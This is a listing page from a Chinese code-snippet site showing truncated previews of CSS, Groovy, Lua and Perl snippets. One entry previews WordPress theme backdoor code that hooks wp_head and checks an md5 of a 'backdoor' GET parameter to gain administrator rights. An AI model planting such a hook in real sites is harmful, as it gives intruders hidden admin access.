首页 软件开发 代码片段 ( Page 59 )

代码片段 8064

#CSS
纯CSS3动感导航条

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xh…

css
2015-12-14 520

#CSS
那些WordPress主题后门代码,一招拥有管理员权限

add_action( 'wp_head', 'my_backdoor' ); function my_backdoor() { if ( md5( $_GET['backdoor…

css
2015-12-14 592

#CSS
IE6下!important的BUG – CSS

<!--对于!important和它的用法你肯定不陌生。 !important是CSS2提出的,是提升指定样式规则的应用优先权。你可能看到或听说IE6不支持!importan…

css
2015-12-14 255

#CSS
解决浮动DIV撑开父层高度的问题

<div class="content"> <div class="left"></div> <div class="right">…

css
2015-12-14 746

#Groovy
用switch 优化 if-else 代码

// before def fun1(a, b, c) { println("-----------------------") if (a > b || a > c)…

2015-12-14 840

#Groovy
检索页面URL地址

new URL("http://www.oschina.net").openConnection().content.text.eachMatch( /href="(http.+?…

2015-12-14 641

#Groovy
grails的UrlMapping常用配置示例

class UrlMappings { //grails框架不处理以下请求,也就是不经过grails的Controller,由web服务器处理 static excludes = …

2015-12-14 797

#Groovy
groovy同时迭代多个List

def list1 = [1, 2, 3] def list2 = [4, 5, 6] def result = true list1.eachWithIndex { n, i -…

2015-12-14 433

#Lua
lua对象序列化

function serialize( pTable ) local tp = type( pTable ) if tp == 'string' then return strin…

lua
2015-12-14 540

#Lua
残影

function CameraSO:ghosting(heroSO, timeInteval) local ghostSprite = heroSO:getGhostSprite(…

lua
2015-12-14 333

#Perl
使用Perl从UniProt中下载蛋白质序列

use strict; use warnings; use LWP::Simple qw(get); my $seq = downloadUniprot("P31749"); pr…

2015-12-14 1,003

#Perl
可以在新浪网盘里面批量获取搜索内容的地址及下载文件

use LWP::UserAgent; use HTML::TreeBuilder; use LWP::Simple; use URI; use Encode; @list_url…

2015-12-14 362
1 57 58 59 60 61 672